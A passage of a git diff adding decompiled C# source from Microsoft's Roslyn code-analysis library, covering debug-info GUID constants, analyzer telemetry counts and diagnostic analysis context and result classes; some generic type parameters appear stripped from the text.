b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/PortableCustomDebugInfoKinds.cs @@ -0,0 +1,34 @@ +using System; + +namespace Microsoft.CodeAnalysis.Debugging; + +internal static class PortableCustomDebugInfoKinds +{ + public static readonly Guid AsyncMethodSteppingInformationBlob = new Guid("54FD2AC5-E925-401A-9C2A-F94F171072F8"); + + public static readonly Guid StateMachineHoistedLocalScopes = new Guid("6DA9A61E-F8C7-4874-BE62-68BC5630DF71"); + + public static readonly Guid DynamicLocalVariables = new Guid("83C563C4-B4F3-47D5-B824-BA5441477EA8"); + + public static readonly Guid TupleElementNames = new Guid("ED9FDF71-8879-4747-8ED3-FE5EDE3CE710"); + + public static readonly Guid DefaultNamespace = new Guid("58b2eab6-209f-4e4e-a22c-b2d0f910c782"); + + public static readonly Guid EncLocalSlotMap = new Guid("755F52A8-91C5-45BE-B4B8-209571E552BD"); + + public static readonly Guid EncLambdaAndClosureMap = new Guid("A643004C-0240-496F-A783-30D64F4979DE"); + + public static readonly Guid EncStateMachineStateMap = new Guid("8B78CD68-2EDE-420B-980B-E15884B8AAA3"); + + public static readonly Guid SourceLink = new Guid("CC110556-A091-4D38-9FEC-25AB9A351A6A"); + + public static readonly Guid EmbeddedSource = new Guid("0E8A571B-6926-466E-B4AD-8AB04611F5FE"); + + public static readonly Guid CompilationMetadataReferences = new Guid("7E4D4708-096E-4C5C-AEDA-CB10BA6A740D"); + + public static readonly Guid CompilationOptions = new Guid("B5FEEC05-8CD0-4A83-96DA-466284BB4BD8"); + + public static readonly Guid TypeDefinitionDocuments = new Guid("932E74BC-DBA9-4478-8D46-0F32A7BAB3D3"); + + public static readonly Guid PrimaryConstructorInformationBlob = new Guid("9D40ACE1-C703-4D0E-BF41-7243060A8FB5"); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/StateMachineHoistedLocalScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/StateMachineHoistedLocalScope.cs new file mode 100644 index 0000000..db7eb8b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/StateMachineHoistedLocalScope.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis.Debugging; + +internal readonly struct StateMachineHoistedLocalScope(int startOffset, int endOffset) +{ + public readonly int StartOffset = startOffset; + + public readonly int EndOffset = endOffset; + + public int Length => EndOffset - StartOffset; + + public bool IsDefault + { + get + { + if (StartOffset == 0) + { + return EndOffset == 0; + } + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/TupleElementNamesInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/TupleElementNamesInfo.cs new file mode 100644 index 0000000..9b624b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/TupleElementNamesInfo.cs @@ -0,0 +1,25 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Debugging; + +internal readonly struct TupleElementNamesInfo +{ + internal readonly ImmutableArray ElementNames; + + internal readonly int SlotIndex; + + internal readonly string LocalName; + + internal readonly int ScopeStart; + + internal readonly int ScopeEnd; + + internal TupleElementNamesInfo(ImmutableArray elementNames, int slotIndex, string localName, int scopeStart, int scopeEnd) + { + ElementNames = elementNames; + SlotIndex = slotIndex; + LocalName = localName; + ScopeStart = scopeStart; + ScopeEnd = scopeEnd; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/VBImportScopeKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/VBImportScopeKind.cs new file mode 100644 index 0000000..9efa91b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Debugging/VBImportScopeKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Debugging; + +internal enum VBImportScopeKind +{ + Unspecified, + File, + Project +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics.Telemetry/AnalyzerActionCounts.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics.Telemetry/AnalyzerActionCounts.cs new file mode 100644 index 0000000..8e1e02c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics.Telemetry/AnalyzerActionCounts.cs @@ -0,0 +1,75 @@ +namespace Microsoft.CodeAnalysis.Diagnostics.Telemetry; + +internal class AnalyzerActionCounts +{ + internal static readonly AnalyzerActionCounts Empty = new AnalyzerActionCounts(in AnalyzerActions.Empty); + + public int CompilationStartActionsCount { get; } + + public int CompilationEndActionsCount { get; } + + public int CompilationActionsCount { get; } + + public int SyntaxTreeActionsCount { get; } + + public int AdditionalFileActionsCount { get; } + + public int SemanticModelActionsCount { get; } + + public int SymbolActionsCount { get; } + + public int SymbolStartActionsCount { get; } + + public int SymbolEndActionsCount { get; } + + public int SyntaxNodeActionsCount { get; } + + public int CodeBlockStartActionsCount { get; } + + public int CodeBlockEndActionsCount { get; } + + public int CodeBlockActionsCount { get; } + + public int OperationActionsCount { get; } + + public int OperationBlockStartActionsCount { get; } + + public int OperationBlockEndActionsCount { get; } + + public int OperationBlockActionsCount { get; } + + public bool HasAnyExecutableCodeActions { get; } + + public bool HasAnyActionsRequiringCompilationEvents { get; } + + public bool Concurrent { get; } + + internal AnalyzerActionCounts(in AnalyzerActions analyzerActions) + : this(analyzerActions.CompilationStartActionsCount, analyzerActions.CompilationEndActionsCount, analyzerActions.CompilationActionsCount, analyzerActions.SyntaxTreeActionsCount, analyzerActions.AdditionalFileActionsCount, analyzerActions.SemanticModelActionsCount, analyzerActions.SymbolActionsCount, analyzerActions.SymbolStartActionsCount, analyzerActions.SymbolEndActionsCount, analyzerActions.SyntaxNodeActionsCount, analyzerActions.CodeBlockStartActionsCount, analyzerActions.CodeBlockEndActionsCount, analyzerActions.CodeBlockActionsCount, analyzerActions.OperationActionsCount, analyzerActions.OperationBlockStartActionsCount, analyzerActions.OperationBlockEndActionsCount, analyzerActions.OperationBlockActionsCount, analyzerActions.Concurrent) + { + } + + internal AnalyzerActionCounts(int compilationStartActionsCount, int compilationEndActionsCount, int compilationActionsCount, int syntaxTreeActionsCount, int additionalFileActionsCount, int semanticModelActionsCount, int symbolActionsCount, int symbolStartActionsCount, int symbolEndActionsCount, int syntaxNodeActionsCount, int codeBlockStartActionsCount, int codeBlockEndActionsCount, int codeBlockActionsCount, int operationActionsCount, int operationBlockStartActionsCount, int operationBlockEndActionsCount, int operationBlockActionsCount, bool concurrent) + { + CompilationStartActionsCount = compilationStartActionsCount; + CompilationEndActionsCount = compilationEndActionsCount; + CompilationActionsCount = compilationActionsCount; + SyntaxTreeActionsCount = syntaxTreeActionsCount; + AdditionalFileActionsCount = additionalFileActionsCount; + SemanticModelActionsCount = semanticModelActionsCount; + SymbolActionsCount = symbolActionsCount; + SymbolStartActionsCount = symbolStartActionsCount; + SymbolEndActionsCount = symbolEndActionsCount; + SyntaxNodeActionsCount = syntaxNodeActionsCount; + CodeBlockStartActionsCount = codeBlockStartActionsCount; + CodeBlockEndActionsCount = codeBlockEndActionsCount; + CodeBlockActionsCount = codeBlockActionsCount; + OperationActionsCount = operationActionsCount; + OperationBlockStartActionsCount = operationBlockStartActionsCount; + OperationBlockEndActionsCount = operationBlockEndActionsCount; + OperationBlockActionsCount = operationBlockActionsCount; + Concurrent = concurrent; + HasAnyExecutableCodeActions = CodeBlockActionsCount > 0 || CodeBlockStartActionsCount > 0 || SyntaxNodeActionsCount > 0 || OperationActionsCount > 0 || OperationBlockActionsCount > 0 || OperationBlockStartActionsCount > 0 || SymbolStartActionsCount > 0; + HasAnyActionsRequiringCompilationEvents = HasAnyExecutableCodeActions || SymbolActionsCount > 0 || SemanticModelActionsCount > 0 || CompilationEndActionsCount > 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics.Telemetry/AnalyzerTelemetryInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics.Telemetry/AnalyzerTelemetryInfo.cs new file mode 100644 index 0000000..aecfc9c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics.Telemetry/AnalyzerTelemetryInfo.cs @@ -0,0 +1,96 @@ +using System; +using System.Runtime.Serialization; + +namespace Microsoft.CodeAnalysis.Diagnostics.Telemetry; + +[DataContract] +public sealed class AnalyzerTelemetryInfo +{ + [DataMember(Order = 0)] + public int CompilationStartActionsCount { get; set; } + + [DataMember(Order = 1)] + public int CompilationEndActionsCount { get; set; } + + [DataMember(Order = 2)] + public int CompilationActionsCount { get; set; } + + [DataMember(Order = 3)] + public int SyntaxTreeActionsCount { get; set; } + + [DataMember(Order = 4)] + public int AdditionalFileActionsCount { get; set; } + + [DataMember(Order = 5)] + public int SemanticModelActionsCount { get; set; } + + [DataMember(Order = 6)] + public int SymbolActionsCount { get; set; } + + [DataMember(Order = 7)] + public int SymbolStartActionsCount { get; set; } + + [DataMember(Order = 8)] + public int SymbolEndActionsCount { get; set; } + + [DataMember(Order = 9)] + public int SyntaxNodeActionsCount { get; set; } + + [DataMember(Order = 10)] + public int CodeBlockStartActionsCount { get; set; } + + [DataMember(Order = 11)] + public int CodeBlockEndActionsCount { get; set; } + + [DataMember(Order = 12)] + public int CodeBlockActionsCount { get; set; } + + [DataMember(Order = 13)] + public int OperationActionsCount { get; set; } + + [DataMember(Order = 14)] + public int OperationBlockStartActionsCount { get; set; } + + [DataMember(Order = 15)] + public int OperationBlockEndActionsCount { get; set; } + + [DataMember(Order = 16)] + public int OperationBlockActionsCount { get; set; } + + [DataMember(Order = 17)] + public int SuppressionActionsCount { get; set; } + + [DataMember(Order = 18)] + public TimeSpan ExecutionTime { get; set; } = TimeSpan.Zero; + + [DataMember(Order = 19)] + public bool Concurrent { get; set; } + + internal AnalyzerTelemetryInfo(AnalyzerActionCounts actionCounts, int suppressionActionCounts, TimeSpan executionTime) + { + CompilationStartActionsCount = actionCounts.CompilationStartActionsCount; + CompilationEndActionsCount = actionCounts.CompilationEndActionsCount; + CompilationActionsCount = actionCounts.CompilationActionsCount; + SyntaxTreeActionsCount = actionCounts.SyntaxTreeActionsCount; + AdditionalFileActionsCount = actionCounts.AdditionalFileActionsCount; + SemanticModelActionsCount = actionCounts.SemanticModelActionsCount; + SymbolActionsCount = actionCounts.SymbolActionsCount; + SymbolStartActionsCount = actionCounts.SymbolStartActionsCount; + SymbolEndActionsCount = actionCounts.SymbolEndActionsCount; + SyntaxNodeActionsCount = actionCounts.SyntaxNodeActionsCount; + CodeBlockStartActionsCount = actionCounts.CodeBlockStartActionsCount; + CodeBlockEndActionsCount = actionCounts.CodeBlockEndActionsCount; + CodeBlockActionsCount = actionCounts.CodeBlockActionsCount; + OperationActionsCount = actionCounts.OperationActionsCount; + OperationBlockStartActionsCount = actionCounts.OperationBlockStartActionsCount; + OperationBlockEndActionsCount = actionCounts.OperationBlockEndActionsCount; + OperationBlockActionsCount = actionCounts.OperationBlockActionsCount; + SuppressionActionsCount = suppressionActionCounts; + ExecutionTime = executionTime; + Concurrent = actionCounts.Concurrent; + } + + public AnalyzerTelemetryInfo() + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalFileAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalFileAnalysisContext.cs new file mode 100644 index 0000000..85ae512 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalFileAnalysisContext.cs @@ -0,0 +1,42 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct AdditionalFileAnalysisContext +{ + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + public AdditionalText AdditionalFile { get; } + + public AnalyzerOptions Options { get; } + + public TextSpan? FilterSpan { get; } + + public CancellationToken CancellationToken { get; } + + public Compilation Compilation { get; } + + internal AdditionalFileAnalysisContext(AdditionalText additionalFile, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, Compilation compilation, TextSpan? filterSpan, CancellationToken cancellationToken) + { + AdditionalFile = additionalFile; + Options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + Compilation = compilation; + FilterSpan = filterSpan; + CancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, Compilation, _isSupportedDiagnostic, CancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalFileAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalFileAnalyzerAction.cs new file mode 100644 index 0000000..bf23f4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalFileAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AdditionalFileAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public AdditionalFileAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalTextValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalTextValueProvider.cs new file mode 100644 index 0000000..36ca8d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AdditionalTextValueProvider.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class AdditionalTextValueProvider +{ + internal readonly AnalysisValueProvider CoreValueProvider; + + public AdditionalTextValueProvider(Func computeValue, IEqualityComparer? additionalTextComparer = null) + { + CoreValueProvider = new AnalysisValueProvider(computeValue, additionalTextComparer ?? EqualityComparer.Default); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisContext.cs new file mode 100644 index 0000000..a5a4105 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisContext.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class AnalysisContext +{ + public abstract void RegisterCompilationStartAction(Action action); + + public abstract void RegisterCompilationAction(Action action); + + public abstract void RegisterSemanticModelAction(Action action); + + public void RegisterSymbolAction(Action action, params SymbolKind[] symbolKinds) + { + RegisterSymbolAction(action, symbolKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterSymbolAction(Action action, ImmutableArray symbolKinds); + + public virtual void RegisterSymbolStartAction(Action action, SymbolKind symbolKind) + { + throw new NotImplementedException(); + } + + public abstract void RegisterCodeBlockStartAction(Action> action) where TLanguageKindEnum : struct; + + public abstract void RegisterCodeBlockAction(Action action); + + public abstract void RegisterSyntaxTreeAction(Action action); + + public virtual void RegisterAdditionalFileAction(Action action) + { + throw new NotImplementedException(); + } + + public void RegisterSyntaxNodeAction(Action action, params TLanguageKindEnum[] syntaxKinds) where TLanguageKindEnum : struct + { + RegisterSyntaxNodeAction(action, syntaxKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) where TLanguageKindEnum : struct; + + public virtual void RegisterOperationBlockStartAction(Action action) + { + throw new NotImplementedException(); + } + + public virtual void RegisterOperationBlockAction(Action action) + { + throw new NotImplementedException(); + } + + public void RegisterOperationAction(Action action, params OperationKind[] operationKinds) + { + RegisterOperationAction(action, operationKinds.AsImmutableOrEmpty()); + } + + public virtual void RegisterOperationAction(Action action, ImmutableArray operationKinds) + { + throw new NotImplementedException(); + } + + public virtual void EnableConcurrentExecution() + { + throw new NotImplementedException(); + } + + public virtual void ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags analysisMode) + { + throw new NotImplementedException(); + } + + public bool TryGetValue(SourceText text, SourceTextValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(text, valueProvider.CoreValueProvider, out value); + } + + public bool TryGetValue(AdditionalText text, AdditionalTextValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(text, valueProvider.CoreValueProvider, out value); + } + + private bool TryGetValue(TKey key, AnalysisValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) where TKey : class + { + DiagnosticAnalysisContextHelpers.VerifyArguments(key, valueProvider); + return valueProvider.TryGetValue(key, out value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisContextInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisContextInfo.cs new file mode 100644 index 0000000..9aed231 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisContextInfo.cs @@ -0,0 +1,122 @@ +using System.Text; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal readonly struct AnalysisContextInfo +{ + private readonly Compilation? _compilation; + + private readonly IOperation? _operation; + + private readonly ISymbol? _symbol; + + private readonly SourceOrAdditionalFile? _file; + + private readonly SyntaxNode? _node; + + public AnalysisContextInfo(Compilation compilation) + : this(compilation, null, null, null, null) + { + } + + public AnalysisContextInfo(SemanticModel model) + : this(model.Compilation, new SourceOrAdditionalFile(model.SyntaxTree)) + { + } + + public AnalysisContextInfo(Compilation compilation, ISymbol symbol) + : this(compilation, null, symbol, null, null) + { + } + + public AnalysisContextInfo(Compilation compilation, SourceOrAdditionalFile file) + : this(compilation, null, null, file, null) + { + } + + public AnalysisContextInfo(Compilation compilation, SyntaxNode node) + : this(compilation, null, null, new SourceOrAdditionalFile(node.SyntaxTree), node) + { + } + + public AnalysisContextInfo(Compilation compilation, IOperation operation) + : this(compilation, operation, null, new SourceOrAdditionalFile(operation.Syntax.SyntaxTree), operation.Syntax) + { + } + + public AnalysisContextInfo(Compilation compilation, ISymbol symbol, SyntaxNode node) + : this(compilation, null, symbol, new SourceOrAdditionalFile(node.SyntaxTree), node) + { + } + + private AnalysisContextInfo(Compilation? compilation, IOperation? operation, ISymbol? symbol, SourceOrAdditionalFile? file, SyntaxNode? node) + { + _compilation = compilation; + _operation = operation; + _symbol = symbol; + _file = file; + _node = node; + } + + public string GetContext() + { + StringBuilder stringBuilder = new StringBuilder(); + if (_compilation?.AssemblyName != null) + { + stringBuilder.AppendLine("Compilation: " + _compilation.AssemblyName); + } + if (_operation != null) + { + stringBuilder.AppendLine(string.Format("{0}: {1}", "IOperation", _operation.Kind)); + } + if (_symbol?.Name != null) + { + stringBuilder.AppendLine(string.Format("{0}: {1} ({2})", "ISymbol", _symbol.Name, _symbol.Kind)); + } + if (_file.HasValue) + { + if (_file.Value.SourceTree != null) + { + stringBuilder.AppendLine("SyntaxTree: " + _file.Value.SourceTree.FilePath); + } + else + { + stringBuilder.AppendLine("AdditionalText: " + _file.Value.AdditionalFile.Path); + } + } + if (_node != null) + { + LinePositionSpan? linePositionSpan = _file.Value.SourceTree.GetText()?.Lines?.GetLinePositionSpan(_node.Span); + stringBuilder.AppendLine(string.Format("{0}: {1} [{2}]@{3} {4}", new object[5] + { + "SyntaxNode", + GetFlattenedNodeText(_node), + _node.GetType().Name, + _node.Span, + linePositionSpan.HasValue ? linePositionSpan.Value.ToString() : string.Empty + })); + } + return stringBuilder.ToString(); + } + + private string GetFlattenedNodeText(SyntaxNode node) + { + int num = node.Span.Start; + StringBuilder stringBuilder = new StringBuilder(); + foreach (SyntaxToken item in node.DescendantTokens()) + { + if (item.Span.Start - num > 0) + { + stringBuilder.Append(" "); + } + stringBuilder.Append(item.ToString()); + num = item.Span.End; + if (stringBuilder.Length > 30) + { + break; + } + } + return stringBuilder.ToString() + ((stringBuilder.Length > 30) ? " ..." : string.Empty); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisResult.cs new file mode 100644 index 0000000..5e0adb4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisResult.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.Diagnostics.Telemetry; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public class AnalysisResult +{ + public ImmutableArray Analyzers { get; } + + public ImmutableDictionary>> SyntaxDiagnostics { get; } + + public ImmutableDictionary>> SemanticDiagnostics { get; } + + public ImmutableDictionary>> AdditionalFileDiagnostics { get; } + + public ImmutableDictionary> CompilationDiagnostics { get; } + + public ImmutableDictionary AnalyzerTelemetryInfo { get; } + + internal AnalysisResult(ImmutableArray analyzers, ImmutableDictionary>> localSyntaxDiagnostics, ImmutableDictionary>> localSemanticDiagnostics, ImmutableDictionary>> localAdditionalFileDiagnostics, ImmutableDictionary> nonLocalDiagnostics, ImmutableDictionary analyzerTelemetryInfo) + { + Analyzers = analyzers; + SyntaxDiagnostics = localSyntaxDiagnostics; + SemanticDiagnostics = localSemanticDiagnostics; + AdditionalFileDiagnostics = localAdditionalFileDiagnostics; + CompilationDiagnostics = nonLocalDiagnostics; + AnalyzerTelemetryInfo = analyzerTelemetryInfo; + } + + public ImmutableArray GetAllDiagnostics(DiagnosticAnalyzer analyzer) + { + if (!Analyzers.Contains(analyzer)) + { + throw new ArgumentException(CodeAnalysisResources.UnsupportedAnalyzerInstance, "analyzer"); + } + return GetDiagnostics(SpecializedCollections.SingletonEnumerable(analyzer)); + } + + public ImmutableArray GetAllDiagnostics() + { + return GetDiagnostics(Analyzers); + } + + private ImmutableArray GetDiagnostics(IEnumerable analyzers) + { + IEnumerable source = Analyzers.Except(analyzers); + ImmutableHashSet excludedAnalyzers = (source.Any() ? source.ToImmutableHashSet() : ImmutableHashSet.Empty); + return GetDiagnostics(excludedAnalyzers); + } + + private ImmutableArray GetDiagnostics(ImmutableHashSet excludedAnalyzers) + { + if (SyntaxDiagnostics.Count > 0 || SemanticDiagnostics.Count > 0 || AdditionalFileDiagnostics.Count > 0 || CompilationDiagnostics.Count > 0) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + AddLocalDiagnostics(SyntaxDiagnostics, excludedAnalyzers, builder); + AddLocalDiagnostics(SemanticDiagnostics, excludedAnalyzers, builder); + AddLocalDiagnostics(AdditionalFileDiagnostics, excludedAnalyzers, builder); + AddNonLocalDiagnostics(CompilationDiagnostics, excludedAnalyzers, builder); + return builder.ToImmutable(); + } + return ImmutableArray.Empty; + } + + private static void AddLocalDiagnostics(ImmutableDictionary>> localDiagnostics, ImmutableHashSet excludedAnalyzers, ImmutableArray.Builder builder) where T : notnull + { + foreach (KeyValuePair>> localDiagnostic in localDiagnostics) + { + foreach (KeyValuePair> item in localDiagnostic.Value) + { + if (!excludedAnalyzers.Contains(item.Key)) + { + builder.AddRange(item.Value); + } + } + } + } + + private static void AddNonLocalDiagnostics(ImmutableDictionary> nonLocalDiagnostics, ImmutableHashSet excludedAnalyzers, ImmutableArray.Builder builder) + { + foreach (KeyValuePair> nonLocalDiagnostic in nonLocalDiagnostics) + { + if (!excludedAnalyzers.Contains(nonLocalDiagnostic.Key)) + { + builder.AddRange(nonLocalDiagnostic.Value); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisResultBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisResultBuilder.cs new file mode 100644 index 0000000..001d586 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisResultBuilder.cs @@ -0,0 +1,469 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics.Telemetry; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class AnalysisResultBuilder +{ + private static readonly ImmutableDictionary> s_emptyPathToAdditionalTextMap = ImmutableDictionary>.Empty.WithComparers(PathUtilities.Comparer); + + private readonly object _gate = new object(); + + private readonly Dictionary? _analyzerExecutionTimeOpt; + + private readonly HashSet _completedAnalyzersForCompilation; + + private readonly Dictionary> _completedSyntaxAnalyzersByTree; + + private readonly Dictionary> _completedSemanticAnalyzersByTree; + + private readonly Dictionary> _completedSyntaxAnalyzersByAdditionalFile; + + private readonly Dictionary _analyzerActionCounts; + + private readonly ImmutableDictionary> _pathToAdditionalTextMap; + + private Dictionary.Builder>>? _localSemanticDiagnosticsOpt; + + private Dictionary.Builder>>? _localSyntaxDiagnosticsOpt; + + private Dictionary.Builder>>? _localAdditionalFileDiagnosticsOpt; + + private Dictionary.Builder>? _nonLocalDiagnosticsOpt; + + internal AnalysisResultBuilder(bool logAnalyzerExecutionTime, ImmutableArray analyzers, ImmutableArray additionalFiles) + { + _analyzerExecutionTimeOpt = (logAnalyzerExecutionTime ? CreateAnalyzerExecutionTimeMap(analyzers) : null); + _completedAnalyzersForCompilation = new HashSet(); + _completedSyntaxAnalyzersByTree = new Dictionary>(); + _completedSemanticAnalyzersByTree = new Dictionary>(); + _completedSyntaxAnalyzersByAdditionalFile = new Dictionary>(); + _analyzerActionCounts = new Dictionary(analyzers.Length); + _pathToAdditionalTextMap = CreatePathToAdditionalTextMap(additionalFiles); + } + + private static Dictionary CreateAnalyzerExecutionTimeMap(ImmutableArray analyzers) + { + Dictionary dictionary = new Dictionary(analyzers.Length); + ImmutableArray.Enumerator enumerator = analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + dictionary[current] = default(TimeSpan); + } + return dictionary; + } + + private static ImmutableDictionary> CreatePathToAdditionalTextMap(ImmutableArray additionalFiles) + { + if (additionalFiles.IsEmpty) + { + return s_emptyPathToAdditionalTextMap; + } + ImmutableDictionary>.Builder builder = ImmutableDictionary.CreateBuilder>(PathUtilities.Comparer); + ImmutableArray.Enumerator enumerator = additionalFiles.GetEnumerator(); + while (enumerator.MoveNext()) + { + AdditionalText current = enumerator.Current; + string key = current.Path ?? string.Empty; + OneOrMany value = (builder[key] = ((!builder.TryGetValue(key, out value)) ? new OneOrMany(current) : value.Add(current))); + } + return builder.ToImmutable(); + } + + public TimeSpan GetAnalyzerExecutionTime(DiagnosticAnalyzer analyzer) + { + lock (_gate) + { + return _analyzerExecutionTimeOpt[analyzer]; + } + } + + private HashSet? GetCompletedAnalyzersForFile_NoLock(SourceOrAdditionalFile filterFile, bool syntax) + { + SyntaxTree sourceTree = filterFile.SourceTree; + if (sourceTree != null) + { + if ((syntax ? _completedSyntaxAnalyzersByTree : _completedSemanticAnalyzersByTree).TryGetValue(sourceTree, out HashSet value)) + { + return value; + } + } + else + { + AdditionalText additionalFile = filterFile.AdditionalFile; + if (additionalFile == null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DiagnosticAnalyzer/AnalysisResultBuilder.cs", 123); + } + if (_completedSyntaxAnalyzersByAdditionalFile.TryGetValue(additionalFile, out HashSet value2)) + { + return value2; + } + } + return null; + } + + private void AddCompletedAnalyzerForFile_NoLock(SourceOrAdditionalFile filterFile, bool syntax, DiagnosticAnalyzer analyzer) + { + HashSet value = new HashSet { analyzer }; + SyntaxTree sourceTree = filterFile.SourceTree; + if (sourceTree != null) + { + (syntax ? _completedSyntaxAnalyzersByTree : _completedSemanticAnalyzersByTree).Add(sourceTree, value); + return; + } + AdditionalText additionalFile = filterFile.AdditionalFile; + if (additionalFile != null) + { + _completedSyntaxAnalyzersByAdditionalFile.Add(additionalFile, value); + return; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DiagnosticAnalyzer/AnalysisResultBuilder.cs", 143); + } + + public ImmutableArray GetPendingAnalyzers(ImmutableArray analyzers, (SourceOrAdditionalFile file, bool syntax)? filterScope) + { + lock (_gate) + { + HashSet item = (filterScope.HasValue ? GetCompletedAnalyzersForFile_NoLock(filterScope.Value.file, filterScope.Value.syntax) : null); + return analyzers.WhereAsArray((DiagnosticAnalyzer analyzer, (AnalysisResultBuilder self, HashSet completedAnalyzersForFile) arg) => (!arg.self._completedAnalyzersForCompilation.Contains(analyzer) && (arg.completedAnalyzersForFile == null || !arg.completedAnalyzersForFile.Contains(analyzer))) ? true : false, (this, item)); + } + } + + public void 